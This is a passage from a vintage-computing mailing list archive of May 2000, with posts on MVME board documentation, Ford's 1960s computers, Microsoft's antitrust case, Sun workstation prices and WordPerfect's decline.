diagrams are what I need the most. In addition, I have some boards here that I don't recognize, including: MVME372A (three of 'em). MVME333-2 (one) I seem to recall, from my field service days at Motorola, that the big 'M' published a field engineer's guide that showed specs and jumper assignments for the entire MVME line. Perhaps I can snare one of these? Thanks in advance. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From jrkeys at concentric.net Sun May 7 16:05:27 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:34 2005 Subject: Great week Message-ID: <002f01bfb867$f948bfe0$0d711fd1@default> This has been one of those dream weekends, all week I did not pick a thing and then starting Friday night it was wild. I was at a callers house to pick up some items and got there at 6:30pm and left at 11pm with many items still left there. My van was full even in the front seat. I got alot of early colorcomputer stuff; manuals, tons of software, 3 systems. I got NeXt software and manuals brand new unopened boxes, same for Mac software and manuals. This guy had many items that he had been collecting over the years. Saturday I went to a police auction and got several notebooks, complete systems, parts, manuals it was great. I will be putting out a better list as I go through the items. I hope everyone had a good computer hunting weekend. John -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/fb00fd9c/attachment.html From pbboy at mindspring.com Sun May 7 17:13:14 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:51:34 2005 Subject: Ford's '60s computer? Message-ID: <3915EA7A.B324823@mindspring.com> Does anyone know what computer Ford Motor Company used in the 1960's? I've read that Shelby used a computer to find the proper location for, among other things, the upper control arm on the '65 Mustang for his GT350 and used one to help design most, if not all, of his other creations' critical parts. I've searched IBM (must've been IBM!) and Ford and came up with nothing. Although IBM's timeline has the 608 ('57, calculator),1401 ('59), Stretch ('61), SABRE ('62) and the System/360 ('64), they don't give detailed descriptions. I don't know what the others are, but I've read a bit on the 360. I'm willing to bet it was the 360, but I'm not sure how often a company would buy a computer considering the price of the computers then. But considering the severe race competition between the Big Three (and the world), in that era, I'd imagine they'd pay almost anything to gain any edge over the competition (Win on Sunday, Sell on Monday). Anyone know for sure? Did Ford use any other computers before then? What about other car manufacturers? From mark at cs.ualberta.ca Sun May 7 17:29:49 2000 From: mark at cs.ualberta.ca (Mark Green) Date: Sun Feb 27 18:51:34 2005 Subject: Ford's '60s computer? In-Reply-To: <3915EA7A.B324823@mindspring.com> from Robert at "May 7, 2000 06:13:14 pm" Message-ID: <20000507222951Z433055-10297+159@scapa.cs.ualberta.ca> > Does anyone know what computer Ford Motor Company used in the 1960's? > I don't know what they were using in the 60's, but I worked for them in the early 70's. If I recall correctly, the assembly plants ran on Honeywell computers, and the main facilities used IBM 360s. Sometime around 1973 the 360s were replaced by 370s. This was on the data processing side of the company, the design and research departments used different facilities. -- Dr. Mark Green mark@cs.ualberta.ca Professor (780) 492-4584 Director, Research Institute for Multimedia Systems (RIMS) Department of Computing Science (780) 492-1071 (FAX) University of Alberta, Edmonton, Alberta, T6G 2H1, Canada From ard at p850ug1.demon.co.uk Sun May 7 16:02:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:34 2005 Subject: RK05 cable In-Reply-To: <200005071947.PAA03659@dbit.dbit.com> from "John Wilson" at May 7, 0 03:47:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1977 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000507/6a832a2f/attachment.ksh From pechter at pechter.dyndns.org Sun May 7 18:03:25 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: Ford's '60s computer? In-Reply-To: <20000507222951Z433055-10297+159@scapa.cs.ualberta.ca> from Mark Green at "May 7, 2000 04:29:49 pm" Message-ID: <200005072303.TAA09309@bg-tc-ppp36.monmouth.com> > > Does anyone know what computer Ford Motor Company used in the 1960's? > > > > I don't know what they were using in the 60's, but I worked > for them in the early 70's. If I recall correctly, the assembly > plants ran on Honeywell computers, and the main facilities used > IBM 360s. Sometime around 1973 the 360s were replaced by 370s. > > This was on the data processing side of the company, the design > and research departments used different facilities. I believe Ford was a GE/Honeywell operation for some of the R&D. I thought they were a Multics shop as well. They had a lot of Vaxen in the mid 80's... A friend of mine was a DEC Field Engineer out there for a while while I had the Central NJ area as my base. > Dr. Mark Green mark@cs.ualberta.ca > Professor (780) 492-4584 > Director, Research Institute for Multimedia Systems (RIMS) > Department of Computing Science (780) 492-1071 (FAX) > University of Alberta, Edmonton, Alberta, T6G 2H1, Canada > > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:15:44 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> from Richard Erlacher at "May 7, 2000 11:48:12 am" Message-ID: <200005072315.TAA09354@bg-tc-ppp36.monmouth.com> > Almost on the mark, but see my remarks below. > > Dick > ----- Original Message ----- > From: Wayne M. Smith > To: > Sent: Sunday, May 07, 2000 12:12 AM > Subject: Re: I wrote 'Nuke Redmond' > > > All the talk about the browser market is a red herring. Internet Explorer > was never a product separate from Windows. Wrong.,. It was in the 95 PLUS pack an add on product I spent extra for. IE2 really sucked. It was basically a badly reworked Mosaic. The v3 product was pretty good... however. > It was a part of the OS utility package called PLUS! Yup. Which was SEPERATE from Win95 and not available for download until Netscape was taking off and Bill Gates had the internet epiphany.., > Internet Explorer always was a part of the Windows 9x package. Netscape, > OTOH, was a commercial product intended for sale, but initially offered > gratis to individual users. Nope, it was only 3.x of IE that was a download. > HOWEVER . . . they did have to purchase the > WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the > case with Internet explorer. Nope Winsock and Networking was a direct part of Win95, WinNT etc. It was an addon to Win3.1. Most of us used Trumpet until the IE3 package added all the goodies. > Only after Internet Explorer became as popular > as it did under '95 did Microsoft release the "made for WIndows 3.1x" > version, also at no charge, but complete with its own WINSOCK and the 32-bit > runtime libraries it needed for operation under the 16-bit OS. Yup The Win9x version was about 6 months to a year ahead of the Win9x version. > > In the meantime, IBM had acquired LOTUS, primarily in order to take over the > Lotus Notes program. With the spread of Netscape, people found that > Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired > them, only to distance themselves from it later, in order to APPEAR to be an > outsider to the conflict which I'm quite certain they actually scripted, and > which is now being played out in the courts. Well, they rather quickly realised Notes Servers needed web accessibility so Domino became a hot upgrade to Notes Server and Client. > > Unfortunately, there does appear to be evidence that MS overreached its > rightful position in the industry, giving their applications developers an > advantage by giving them information they didn't publish as part of the > standard API. That was an anticompetitive act, and should be reversed in > some way. Yup. > > Many people think that lobotomizing MS would help the industry. I am not > among them, however, because, at least for now, MS is the only organization > capable of mustering the talent and resources to generate application > software that pretty much functions as it should within the framework of > this extremely complex OS. > Believe me, I think the appllications could be done by hundreds of companies -- if the MS apps folks were divorced of early access to the API's the lead MS got over everyone else would dissapear. > Even if someone else could do it, which I seriously doubt, it's unlikely > anyone can come up with an OS capable of competing against Windows, if the > same tests are to be applied that have been used to determine MS' practices > monopolistic or anticompetitive. If the complete source code for Windows is > to be mandated by the courts to be made available to anyone who wishes to > write applications for Windows, MS is correct in demanding that the code be > released only to companies who, including all their employees as > individuals, be barred for a period of, say, ten years, from participating > in the production of any operating system which might be used as a > competitor to Microsoft's OS products, including the drivers, utilities, or > ancillary programs, e.g. a browser. > Actually, if there was a GUI like the IBM Workplace Shell from OS/2 available on FreeBSD, Linux, Solaris, etc there could be some competitive apps. Right now I'm watching Koffice and the KDE stuff and really enjoying WordPerfect Office 2000 on Linux. > If they're to "fix" this thing in a permanent way, then they will have to > legislate a solution which would require that no person involved in the > development of any major software product be permitted to communicate with > anyone else, not his/her spouse, offspring, superiors or subordinates, > except in permanently recorded written form for a period not less than five > years beyond the end of the economic life of that product. I doubt that > will happen. > Nope. Make the OS vendor, the Tooks vendor and the Desktop apps vendor diferent companies and let the fun begin. I bet there would be an MS Office for Unix in about 6 months. I also think they would see Borland tools back in the windows area if they had the same API info as the Visual-whatever folks. IBM's stuff might even expand their toolsets even further. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:21:52 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from Mike Ford at "May 7, 2000 03:43:19 am" Message-ID: <200005072321.TAA09390@bg-tc-ppp36.monmouth.com> > The working points to tick off are; > > MS used the profits from OS sales to subsidize the operations of groups > competing against the applications of other companies, giving away products > if nescessary to force the other company out of business. Yup... > > MS used OS incompatibilities to kill off competing applications. Yup and changed the API for Win32 to break OS/2 compatibility for the "portable Win32 API" Win32s that worked with Windows for Workgroups and OS/2. > > MS used applications incompatibilies to kill off competing OSes. Yup... notice the Office 95 suite's broken save to rtf and save to Word6 functions that pushed places to Office97. > > MS used OS license agreements to kill off competing applications through > preinstalled software exclusive agreements, and flat rate pricing > structures (you pay a license fee on every system you sell whether it has > MS OS on it or not). Very true. This was a big push to IBM to eliminate OS/2 support and new versions or lose the rights to Win95. > > MS used ad boycotts to kill any magazine with negative reviews. Very true. > > MS used coertion and retaliation to make other companies toe the same line. > This is especially true now where nobody is willing to say word one in this > trial for fear of what MS would do. Sure seemed that Compaq and DEC were intimidated. Ask the internal DEC folks about MS getting a lot of DEC cluster code and NT work in exchange for MS paying for Robert Palmer's getting DEC Field Service and Software Services personnel MS trained on MS $$$. (and they pushed customers off ALL-IN-ONE to Exchange (and off Vax Mail internally as part of the deal)... > > Yes this has been a real help to consumers. Its classic vertical monopoly > behavior any turn of the century muckraker would recognize, and that it is > successfull should come as a surprize to no one. > And it's one of the most underreported stories -- since MS began buying up the ad space to tell "IT's Story" as crafted by Gates, Balmer, and Wagner Eddstrom. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:23:44 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070757.DAA29788@armigeron.com> from "Sean 'Captain Napalm' Conner" at "May 7, 2000 03:57:24 am" Message-ID: <200005072323.TAA09411@bg-tc-ppp36.monmouth.com> > It was thus said that the Great Richard Erlacher once stated: > > > > > This is the sickest aspect of the whole computer industry, ALL of the > > > companies that made fairly good reliable products went under from the > > flood > > > of dollars the BAD heavily marketed software generated via updates. > > > > > Well, I wish a few more of them would go. I can't imagine what companies, > > now defunct, produced this set of "fairly good reliable products " have gone > > down the toilet because they were outspent or outmarketed by MS. An example > > or two would be nice. > > Borland? Oh that's right, you don't do software development. Umm ... > > -spc (Hey, at least that's one ... ) Boy do I miss Turbo Pascal and Turbo C and the great support and free patches and upgrades on Compuserve. (Pre-www...) No fixed in next release... If it was broken they replaced the library that they had... pretty quick. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From eric at brouhaha.com Sun May 7 18:22:31 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> (whdawson@mlynk.com) References: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> Message-ID: <20000507232231.30109.qmail@brouhaha.com> "Bill Dawson" wrote: > If you look at the legal aspects of the Apple vs. Franklin lawsuit, back in > the Apple II days, you can see that had Franklin properly argued, they would > have won. It *was* impossible to separate the software from the firmware at > the time Franklin copied Apple's ROMs. Even though Apple had the approved > set of firmware entry points for third party software development, they > looked the other way as all parties used every and any useable subroutine > they could find in the firmware. Franklin had no choice to do anything > *but* exactly duplicate the Apple firmware to ensure software written for > the Apple II would run on their machine. I don't see why you think that they would have won. Copyright law does not have an exception that makes it OK to duplicate copyrighted works without the author's permission if it's necessary to do so in order to be compatible. The entire *purpose* of copyright law as set forth in the US Constitution is to grant authors for a limited time the *exclusive* rights to their writings. [There is such an exemption in the DMCA for reverse-engineering, but that doesn't extend to distributing verbatim copies.] Eric From eric at brouhaha.com Sun May 7 18:26:54 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:34 2005 Subject: VCF Munich! In-Reply-To: <200005071803.LAA04452@siconic.com> (dastar@siconic.com) References: <200005071803.LAA04452@siconic.com> Message-ID: <20000507232654.30150.qmail@brouhaha.com> "Sellam Ismail" wrote: > There were some great exhibits, including a complete VAX 11/850 setup > and running, Sorry to nitpick, but is that a typo? What kind of VAX was it? I could easily imagine that you might have meant any of VAX-11/750 VAX-11/780 VAX 8600 VAX 8650 Or perhaps something else. From pechter at pechter.dyndns.org Sun May 7 18:35:05 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070753.DAA29771@armigeron.com> from "Sean 'Captain Napalm' Conner" at "May 7, 2000 03:53:02 am" Message-ID: <200005072335.TAA09444@bg-tc-ppp36.monmouth.com> > It was thus said that the Great Richard Erlacher once stated: > > > > Nevertheless, I'd say the the UNIX and others of that > > ilk were designed for use by and for nerds, from the standpoint that > > producing software is useful work. That's only true if you're a software > > vendor. If you're in the business of selling tires, or of making them, > > generating software is overhead that you'd like to avoid. Well, the Minicomputer OS's were designed that no user could damage the system through the use of utilities and customer applications and such. The system wouldn't allow a user to accidentally delete a database, data file, command or anything else that they were dependent upon. They could enter data, generate reports, print programs, but not damage the apps (if written and installed correctly). Unix, VAX/VMS, RSTS/E, RSX/11M were examples of this -- but they're not always used as development platforms... sometimes they were application platforms. > > Maybe Windows isn't for you. I use it because it's hard not to. I have > > half a dozen LINUX versions none of which has been left installed for more > > than a day or two, and they wouldn't meet my needs. Likewise, I've not > > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > > types. I haven't got a choice, nor do my coworkers at Lucent. Office97 is the default set of apps... even for programmers... for docs, spreadsheets, presentations... We use FrameMaker at times, but most people don't have licenses for that. I haven't got a choice, nor do my coworkers at Lucent. Office97 is the default set of apps... even for programmers... for docs, spreadsheets, presentations... We use FrameMaker at times, but most people don't have licenses for that. Microsoft has site licensed the Office suite for all of Lucent at a price... therefore we must run Windows 9x/NT/2000 (and the later isn't site licensed yet). We've got Sparcs and Linux boxes for project work and development and my web server and backup server are FreeBSD boxes with Samba and Apache -- but we've got everything dual booting to suport the 40mb attachments from Powerpoint. Ugh. (this could be done better with a corporate supported web/ftp server with individual and departmental directories with an htpassword file controlling access and some cgi or something allowing the management types to upload and download these files in a controlled manner without the proliferation of exchange servers and overloading Unix mail servers with HUGE attachments and Word docs in mail clothing. Email should be short and in ASCII and readable with any type of terminal access and text to speech programs for the handicapped. Unfortunately, Microsoft can barely get large font support up in Windows... IBM did a lot with Screen Reader with Windows and OS/2... I haven't seen anything from Microsoft like that. > > Different users, different needs. Personally I've been able to use Linux > to save what otherwise would have been thrown-away PCs (one is even running > my personal website). Me too... this is from a FreeBSD box logged in from an OpenBSD throwaway Sparc ELC. > > -spc (One running on a diskless machine) > > > Bill this ELC isn't diskless -- but will be a diskless Xterminal to the FreeBSD box when I get the blasted software configured right. -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:38:51 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: sun.motherload In-Reply-To: <20000507002924.Q18263@electron.quantum.int> from "Shawn T. Rutledge" at "May 7, 2000 00:29:24 am" Message-ID: <200005072338.TAA09463@bg-tc-ppp36.monmouth.com> > On Sat, May 06, 2000 at 12:45:08PM -0500, Scott F. Hall wrote: > > Anyone interested in giving an immediate home to a bunch of Sun > > workstations? A college here in western NY state is ready to give a 470 > > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone > > I might be interested in a machine or two but not the whole bunch. > Especially if there's some higher end pizza boxes hiding in there... > > -- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ > Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 > > I'd love a Sparc Classic or other 4m class box... I've got Solaris 8 to play with but that won't run on a 4c (damn). I've got an IPX, RARE Opus Sparcstation2 clone I'm looking to sell/Ebay. (these run OpenBSD, NetBSD, Linux and Solaris through v7...) Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:42:19 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: sun.motherload In-Reply-To: from Mike Ford at "May 6, 2000 10:58:23 pm" Message-ID: <200005072342.TAA09490@bg-tc-ppp36.monmouth.com> > >> > $80 each sounds like quite a bit for these machines... > >> > > > >Put them out in the hallway. If the students dont get the clue, then > >put a sign up saying 'free - but must take off-campus'. > > Two different extremes, a typical price is more like $25 to $35 depending > on condition and contents, at least here in SoCal. I'd consider them worth up to $50 with working 420-1gb drive and 64mb of memory and CG6. They're worth less with CG3 and with the 16mb of memory and no disk that the resellers usually have in 'em. I'd like $70 for an IPX with 64mb of memory, keyboard, mouse, mousepad. and 420 drive with BSD or Linux on it... Any bootable working machine that has the os on it and is loaded and working is worth more than any collection of parts in unknown unguaranteed shape. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:45:42 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <004901bfb7e7$35f15500$0400c0a8@winbook> from Richard Erlacher at "May 6, 2000 11:43:41 pm" Message-ID: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> > I can't leave this one alone either. > > Dick > > ----- Original Message ----- > From: allisonp > To: > Sent: Saturday, May 06, 2000 9:27 PM > Subject: Re: I wrote 'Nuke Redmond' > > > > >That is backwards. The law, and common sense, requires > > >that you already have to have significant market share > > >to have monopoly power. Monopoly power is the ability > > >to control prices and exclude competition by virtue of > > >monopoly power. To me, the question is, how did MS > > >achieve that power in the first place. There is no > > >doubt that once they had the power they abused it -- > > > I've seen/heard of little evidence of that. Though there have been lots of > references to such actions. They've been ruthless, yes, but not criminal, > though some judge lacking in the grey matter to see the obvious, has been > horswoggled into believing what a bunch of MS-haters tell him. > > > > It started with the licensing of DOS at the vendor level to the > > extent that if the hardware could run dos it had to be licensed. > > Some of us may remember the early machines the the > > "jumper" to disable dos. { the is } was to inhibit the CP/M > ^^^^^^^^ > > follow ons, Netware and the unix varients. > > > I'm not sure I know what you mean here. I had a '186-based machine that > ran DOS and CP/M-86. I didn't like either well enough to give up CP/M-80, > BTW. > > > > This first lockin of the vendors was exploited for the windows > > software that followed. It would also get the DOJ to issue > > an aggreement back some years for MS to stop this > > monopolistic activity. > > > Are you sure you'renot taking this one step too far, Allison? > > > > Thats how the got the power. The money came from the > > applications and MS was known for them and never cheap. > > > No, they weren't cheap, but they were among the cheapest of the bunch. > Other vendors' office automation software typically cost more than > Microsoft's. I wasn't unhappy to see Lotus' offering and WordPerfect's go, > though I liked the WP v5.1 for DOS and the surrounding office software > suite. They never got going under Windows, (v3.0, 1990) however. > > > > Allison > > > > > Actually, you can purchase Office2000 and WordPerfect 2000 and Lotus Smartsuite Millenium -- the latter two under $120... Office is considerably more retail -- unless you corporate license under discount. Actually grey market versions of the later are under $25 each. I know, I bought both to compare them with the Office used at work and forced on me. I liked them (used SmartSuite96 at IBM for a while) and WordPerfect is now purchased and running on my wife's Linux box. I'm actually a WordStar 6 kind of guy, if I'm not using FrameMaker though. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From donm at cts.com Sun May 7 18:48:27 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:34 2005 Subject: Swapmeet find In-Reply-To: <3914B667.AAC65CB6@mcmanis.com> Message-ID: On Sat, 6 May 2000, Chuck McManis wrote: > That is quite a find Don! The tapes are interchangable if you bulk erase > them first. I've got a bunch of TK50 marked tapes but very few TK70 > marked tapes. Willing to trade! And no you can't just drop in the TK70, > at least in the Q-bus Vaxen they take different controllers and the > cable was a bit different. I can't be much direct help there, Chuck, as I think I have only one COMPACTape II here. However, there is a surplus house that has had a number of the II tapes for sale at $2 each. I need to visit them soon to check on something else, so I'll see if they are still available. Since I can't use it, I guess that I am open for offers on the TK70... - don > > At the local swap this morning I picked up a virgin TK70 streaming tape > > drive. When I say virgin, I mean it is in the shipping carton, is still > > sealed in an anti-static bag, includes the manual, and also that sheet > > of 'stickies' to make the meaning of various lights and such meaningful > > to those who do not understand English. ________O/_______ O\ From at258 at osfn.org Sun May 7 18:55:31 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:34 2005 Subject: computer? In-Reply-To: <3915EA7A.B324823@mindspring.com> Message-ID: A friend and I were discussing computer utilisation during the 50's and 60's, and since someone has already enquired about Ford, I wonder if anyone here might have knowledge of what computer(s) the New Haven Railroad used, ca 1950-1968. From pechter at pechter.dyndns.org Sun May 7 19:04:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we've seen this before In-Reply-To: <011b01bfb7d1$ad5f1200$7464c0d0@ajp166> from allisonp at "May 6, 2000 09:16:09 pm" Message-ID: <200005080004.UAA09638@bg-tc-ppp36.monmouth.com> >>win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful >>users who know better to call for help first if some kind of problems >>becomes out of their depth understanding how to deal with it. > This left me mystified. VAX/vms running DECwindows is a good > interface without give away the farm for the user. It's user proof. > The system admin part is definately not for he average user but > then neither is linux, unix or NT. > Its possible to build a OS that has the needed protections that > seem to be missing from Win9x. > > Allison But until the Vax is available at Intel prices and reliablity (the old VS3100's and uVaxII's are getting a bit long in the tooth for joe consumer -- and the disks are now creaky)... What I wanted is a cheap Alpha box at AMD prices. With Open/VMS with a 5 or 10 user limit. Decwindows or CDE on it should be fine. Hell, KDE is free... Add a working posix layer based on the commands in FreeBSD. This would the perfect workstation for me. I wish Compaq would hire me to have them designed and built. I close with a Quote from the former President: "One of the questions that comes up all the time is: How enthusiastic is our support for UNIX? Unix was written on our machines and for our machines many years ago. Today, much of UNIX being done is done on our machines. Ten percent of our VAXs are going for UNIX use. UNIX is a simple language, easy to understand, easy to get started with. It's great for students, great for somewhat casual users, and it's great for interchanging programs between different machines. And so, because of its popularity in these markets, we support it. We have good UNIX on VAX and good UNIX on PDP-11s. It is our belief, however, that serious professional users will run out of things they can do with UNIX. They'll want a real system and will end up doing VMS when they get to be serious about programming. With UNIX, if you're looking for something, you can easily and quickly check that small manual and find out that it's not there. With VMS, no matter what you look for -- it's literally a five-foot shelf of documentation -- if you look long enough it's there. That's the difference -- the beauty of UNIX is it's simple; and the beauty of VMS is that it's all there." -- Ken Olsen, president of DEC, DECWORLD Vol. 8 No. 5, 1984 Switch Unix for Windows98... and you kind of have today. (Where's K.O. now that we need him... Perhaps Advanced Modular Systems could've done this when they were doing MicroVax, RS6000 and Intel triprocessor architecture server boxes). Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From cmcmanis at mcmanis.com Sun May 7 19:16:03 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> Message-ID: <39160743.B34AD135@mcmanis.com> Has anyone mentioned WordPerfect. You know the Word processor that had over 90% of the market until Microsoft changed their OS licensing terms such that their OEMs had to bundle either Office (or later Works) with every copy of Windows they sold. --Chuck From pechter at pechter.dyndns.org Sun May 7 19:08:10 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:34 2005 Subject: VCF Munich! In-Reply-To: <20000507232654.30150.qmail@brouhaha.com> from Eric Smith at "May 7, 2000 11:26:54 pm" Message-ID: <200005080008.UAA09686@bg-tc-ppp36.monmouth.com> > "Sellam Ismail" wrote: > > There were some great exhibits, including a complete VAX 11/850 setup > > and running, > > Sorry to nitpick, but is that a typo? What kind of VAX was it? I > could easily imagine that you might have meant any of > > VAX-11/750 > VAX-11/780 > VAX 8600 > VAX 8650 > > Or perhaps something else. I assume 11/750. I figure 8650 is too much on the power. It also could've been the 8500 (I believe there was 8200/8300/8500) -- although the last one I worked on was the 11/790, er 8600/8650. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From gregorym at cadvision.com Sun May 7 19:17:44 2000 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> -----Original Message----- From: Chuck McManis To: classiccmp@classiccmp.org Date: Sunday, May 07, 2000 6:12 PM Subject: Re: I wrote 'Nuke Redmond' >Has anyone mentioned WordPerfect. You know the Word processor that had >over 90% of the market until Microsoft changed their OS licensing terms >such that their OEMs had to bundle either Office (or later Works) with >every copy of Windows they sold. > >--Chuck Sorry, but WordPerfect contributed a lot to their own demise. First, they abandoned many of the non-Windows platforms that made them attractive in the first place (e.g. DOS, Amiga, NeXT). The ability to exchange documents between different platforms was a huge win for WordPerfect, and they threw it away. Second, when they belatedly jumped on the Windows bandwagon, they produced a buggy, unstable, all but unusable version - WP for Windows 6.0. The time it took them to fix all of the problems with WP 6.0 enabled MS-Word to catch up on features, when WP had been demonstrably better up until then. The corporate merry-go-round that saw WordPerfect go from an independant company, to Novell, to Corel probably didn't help either. Mark. From ckaiser at oa.ptloma.edu Sun May 7 19:38:39 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:34 2005 Subject: The Shell Game Message-ID: <200005080038.RAA17910@oa.ptloma.edu> Well, marginally related to classic computing, I put my in-progress directory of dialup shell providers on the Net at http://www.armory.com/~spectre/shell/ I'm still acquiring providers. Let me know who you use, if any. I'm hoping to use this as a resource for people with other computers who still want to use them for at least terminal access. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Hidden DOS secret: add BUGS=3DOFF to your CONFIG.SYS. ---------------------- From jim at calico.litterbox.com Sun May 7 19:46:29 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> from "Mark Gregory" at May 07, 2000 06:17:44 PM Message-ID: <200005080046.SAA31983@calico.litterbox.com> Modern WordPerfect is actually quite nice, and to my knowledge it's the only big name word processor that runs on Linux. I'd wish for a BeOS port, but Gobe Productive 2.0 is as good or better and BeOS native. WP also has more problems translating Word documents than Gobe does. Now that printing works reasonably I'm unlikely to reload WP on my windows side because I do my word processing in my primary desktop OS - BeOS. If BeOS supported my scanner I could finally rip windows off this system completely and throw it out. On that note, to any of the folks working on the SANE port and ScannerBE, first I'd like to offer to beta test with my umax astra 610s. Second, I'd love to see ANY scanner support, but I think it'd be prudent for either project to leverage the existing SANE drivers. Why reinvent the wheel? Third, I'd also like to see some kind of pseudo-translator so ANY graphic software can import directly from the scanner without having to be re-written to use some other API. > > Sorry, but WordPerfect contributed a lot to their own demise. First, they > abandoned many of the non-Windows platforms that made them attractive in the > first place (e.g. DOS, Amiga, NeXT). The ability to exchange documents > between different platforms was a huge win for WordPerfect, and they threw > it away. Second, when they belatedly jumped on the Windows bandwagon, they > produced a buggy, unstable, all but unusable version - WP for Windows 6.0. > The time it took them to fix all of the problems with WP 6.0 enabled MS-Word > to catch up on features, when WP had been demonstrably better up until then. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jim at calico.litterbox.com Sun May 7 19:55:32 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:51:34 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from "Mike Ford" at May 07, 2000 02:48:46 AM Message-ID: <200005080055.SAA32090@calico.litterbox.com> Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If my comments about Gobe Productive, etc, don't make any sense, it's because they're BeOS specific - it's been a busy day and I mixed up what group I was writing to. Sorry. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cfandt at netsync.net Sun May 7 20:19:26 2000 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:51:34 2005 Subject: MVME Docs/Data Needed In-Reply-To: <3915736B.9765.183FCBBA@localhost> Message-ID: <4.1.20000507194802.00923890@206.231.8.2> Upon the date 